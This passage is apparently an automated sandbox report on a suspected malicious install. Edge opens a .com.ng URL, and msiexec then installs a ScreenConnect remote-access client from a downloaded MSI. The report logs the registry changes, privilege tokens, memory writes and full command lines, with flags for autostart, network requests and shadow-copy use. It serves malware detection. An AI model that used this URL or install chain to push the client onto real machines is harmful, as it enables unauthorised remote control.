Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\BE35CE759AD18992D86B552B50CBF72C\2B49251ED1A026DAEE161984DA016AB6	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8db655b205bc7fc2\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-4300-18D2BFCAD7CF}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-4300-18D2BFCAD7CF}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8db655b205bc7fc2\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (8db655b205bc7fc2)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\ProductIcon = "C:\\Windows\\Installer\\{E15294B2-0A1D-AD62-EE61-9148AD10A66B}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8db655b205bc7fc2\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8db655b205bc7fc2	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8db655b205bc7fc2\shell\open	msiexec.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2056	msiexec.exe
2056	msiexec.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
5892	msedge.exe
5892	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3892	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3892	msiexec.exe
Token: SeSecurityPrivilege	2056	msiexec.exe
Token: SeCreateTokenPrivilege	3892	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3892	msiexec.exe
Token: SeLockMemoryPrivilege	3892	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3892	msiexec.exe
Token: SeMachineAccountPrivilege	3892	msiexec.exe
Token: SeTcbPrivilege	3892	msiexec.exe
Token: SeSecurityPrivilege	3892	msiexec.exe
Token: SeTakeOwnershipPrivilege	3892	msiexec.exe
Token: SeLoadDriverPrivilege	3892	msiexec.exe
Token: SeSystemProfilePrivilege	3892	msiexec.exe
Token: SeSystemtimePrivilege	3892	msiexec.exe
Token: SeProfSingleProcessPrivilege	3892	msiexec.exe
Token: SeIncBasePriorityPrivilege	3892	msiexec.exe
Token: SeCreatePagefilePrivilege	3892	msiexec.exe
Token: SeCreatePermanentPrivilege	3892	msiexec.exe
Token: SeBackupPrivilege	3892	msiexec.exe
Token: SeRestorePrivilege	3892	msiexec.exe
Token: SeShutdownPrivilege	3892	msiexec.exe
Token: SeDebugPrivilege	3892	msiexec.exe
Token: SeAuditPrivilege	3892	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3892	msiexec.exe
Token: SeChangeNotifyPrivilege	3892	msiexec.exe
Token: SeRemoteShutdownPrivilege	3892	msiexec.exe
Token: SeUndockPrivilege	3892	msiexec.exe
Token: SeSyncAgentPrivilege	3892	msiexec.exe
Token: SeEnableDelegationPrivilege	3892	msiexec.exe
Token: SeManageVolumePrivilege	3892	msiexec.exe
Token: SeImpersonatePrivilege	3892	msiexec.exe
Token: SeCreateGlobalPrivilege	3892	msiexec.exe
Token: SeCreateTokenPrivilege	3892	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3892	msiexec.exe
Token: SeLockMemoryPrivilege	3892	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3892	msiexec.exe
Token: SeMachineAccountPrivilege	3892	msiexec.exe
Token: SeTcbPrivilege	3892	msiexec.exe
Token: SeSecurityPrivilege	3892	msiexec.exe
Token: SeTakeOwnershipPrivilege	3892	msiexec.exe
Token: SeLoadDriverPrivilege	3892	msiexec.exe
Token: SeSystemProfilePrivilege	3892	msiexec.exe
Token: SeSystemtimePrivilege	3892	msiexec.exe
Token: SeProfSingleProcessPrivilege	3892	msiexec.exe
Token: SeIncBasePriorityPrivilege	3892	msiexec.exe
Token: SeCreatePagefilePrivilege	3892	msiexec.exe
Token: SeCreatePermanentPrivilege	3892	msiexec.exe
Token: SeBackupPrivilege	3892	msiexec.exe
Token: SeRestorePrivilege	3892	msiexec.exe
Token: SeShutdownPrivilege	3892	msiexec.exe
Token: SeDebugPrivilege	3892	msiexec.exe
Token: SeAuditPrivilege	3892	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3892	msiexec.exe
Token: SeChangeNotifyPrivilege	3892	msiexec.exe
Token: SeRemoteShutdownPrivilege	3892	msiexec.exe
Token: SeUndockPrivilege	3892	msiexec.exe
Token: SeSyncAgentPrivilege	3892	msiexec.exe
Token: SeEnableDelegationPrivilege	3892	msiexec.exe
Token: SeManageVolumePrivilege	3892	msiexec.exe
Token: SeImpersonatePrivilege	3892	msiexec.exe
Token: SeCreateGlobalPrivilege	3892	msiexec.exe
Token: SeCreateTokenPrivilege	3892	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3892	msiexec.exe
Token: SeLockMemoryPrivilege	3892	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
3892	msiexec.exe
3892	msiexec.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 59 IoCs

pid	Process
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4532	msedge.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe
4680	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 3844	4532	msedge.exe	86
PID 4532 wrote to memory of 4948	4532	msedge.exe	87
PID 4532 wrote to memory of 2952	4532	msedge.exe	88
PID 4532 wrote to memory of 2952	4532	msedge.exe	88
PID 4532 wrote to memory of 2952	4532	msedge.exe	88
PID 4532 wrote to memory of 2200	4532	msedge.exe	89
PID 4532 wrote to memory of 2200	4532	msedge.exe	89
PID 4532 wrote to memory of 3820	4532	msedge.exe	90
PID 4532 wrote to memory of 2740	4532	msedge.exe	91
PID 4532 wrote to memory of 3820	4532	msedge.exe	90
PID 4532 wrote to memory of 3820	4532	msedge.exe	90
PID 4532 wrote to memory of 2740	4532	msedge.exe	91
PID 4532 wrote to memory of 2740	4532	msedge.exe	91
PID 4532 wrote to memory of 2120	4532	msedge.exe	92
PID 4532 wrote to memory of 2120	4532	msedge.exe	92
PID 4532 wrote to memory of 2120	4532	msedge.exe	92
PID 4532 wrote to memory of 4708	4532	msedge.exe	93
PID 4532 wrote to memory of 4708	4532	msedge.exe	93
PID 4532 wrote to memory of 4708	4532	msedge.exe	93
PID 4532 wrote to memory of 2060	4532	msedge.exe	98
PID 4532 wrote to memory of 4488	4532	msedge.exe	99
PID 4532 wrote to memory of 2060	4532	msedge.exe	98
PID 4532 wrote to memory of 4488	4532	msedge.exe	99
PID 4532 wrote to memory of 2224	4532	msedge.exe	101
PID 4532 wrote to memory of 4212	4532	msedge.exe	105
PID 4532 wrote to memory of 4212	4532	msedge.exe	105
PID 4532 wrote to memory of 1196	4532	msedge.exe	106
PID 4532 wrote to memory of 1196	4532	msedge.exe	106
PID 4532 wrote to memory of 1196	4532	msedge.exe	106
PID 4532 wrote to memory of 4076	4532	msedge.exe	107
PID 4532 wrote to memory of 3892	4532	msedge.exe	108
PID 2056 wrote to memory of 3380	2056	msiexec.exe	112
PID 3380 wrote to memory of 4140	3380	MsiExec.exe	113
PID 3380 wrote to memory of 4776	3380	MsiExec.exe	114
PID 4532 wrote to memory of 5068	4532	msedge.exe	119
PID 4532 wrote to memory of 4156	4532	msedge.exe	120
PID 4532 wrote to memory of 1948	4532	msedge.exe	121
PID 3380 wrote to memory of 3408	3380	MsiExec.exe	122
PID 2056 wrote to memory of 4740	2056	msiexec.exe	127
PID 2056 wrote to memory of 1128	2056	msiexec.exe	129
PID 2056 wrote to memory of 4784	2056	msiexec.exe	130
PID 2624 wrote to memory of 4680	2624	ScreenConnect.ClientService.exe	132
PID 4532 wrote to memory of 2528	4532	msedge.exe	139
PID 4532 wrote to memory of 2528	4532	msedge.exe	139
PID 4532 wrote to memory of 5656	4532	msedge.exe	144
PID 4532 wrote to memory of 5656	4532	msedge.exe	144
PID 4532 wrote to memory of 5892	4532	msedge.exe	145

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://uniabjpoliticalsciencejournals.com.ng/mein-emmental/
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffa0844c188,0x7ffa0844c194,0x7ffa0844c1a0
  2⤵
  PID:3844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1988,i,16325279954867504302,7677969264601341520,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=2404 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1780,i,12963651985853506470,8179455101883008802,262144 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:2
  2⤵
  PID:2952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2488,i,11887757597890502823,18197401648215396588,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:8
  2⤵
  PID:2200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3432,i,5712149269874369230,2179070514202429407,2097152 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
  2⤵
  PID:3820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3452,i,14159433209028431446,14570654330765336916,2097152 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:2740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,8634710904835339864,16991617285141671217,2097152 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:1
  2⤵
  PID:2120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4336,i,1562720196608898536,11915541175500861022,2097152 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:2
  2⤵
  PID:4708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5036,i,13371683588806090567,11680768205394671308,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:8
  2⤵
  PID:2060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5124,i,3298404286867281591,13561123661629103677,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:8
  2⤵
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,2119686469013465967,2771943368919882682,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:8
  2⤵
  PID:380
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,2119686469013465967,2771943368919882682,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:8
  2⤵
  PID:2224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6204,i,612244717547762706,8450855369834554762,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:8
  2⤵
  PID:4212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6376,i,11332143479391800224,13284219348914603456,2097152 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:1
  2⤵
  PID:1196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6668,i,2058423693605326772,8205529024129089278,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:8
  2⤵
  PID:4076
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6836,i,17689297357629356449,2537529409097795059,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:8
  2⤵
  PID:5068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6828,i,15713463207679504176,6297407205926929577,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=6932 /prefetch:8
  2⤵
  PID:4156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6784,i,11711201846385118089,9439113431836701093,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=6936 /prefetch:8
  2⤵
  PID:1948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6244,i,12255191341317187133,326000715365005658,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=6332 /prefetch:8
  2⤵
  PID:2528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5912,i,11068763607387375405,13909027269070375611,524288 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:8
  2⤵
  PID:5656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5372,i,7423922393949122373,17672878840493419199,262144 --field-trial-handle=2364,i,1568714823504839112,15131149236080856098,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5892

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1472

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F550E88148F35CCF420817D1C03B8685 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDE07.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240705250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4140
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE4DE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240706796 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4776
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEB28.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240708390 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3408
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4740
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2FA0A35CA29973D63815840D6128CC8D
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1128
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5E41DF52A3ADCD1A1CE02E7634D40C68 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4784

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2360

C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.ClientService.exe
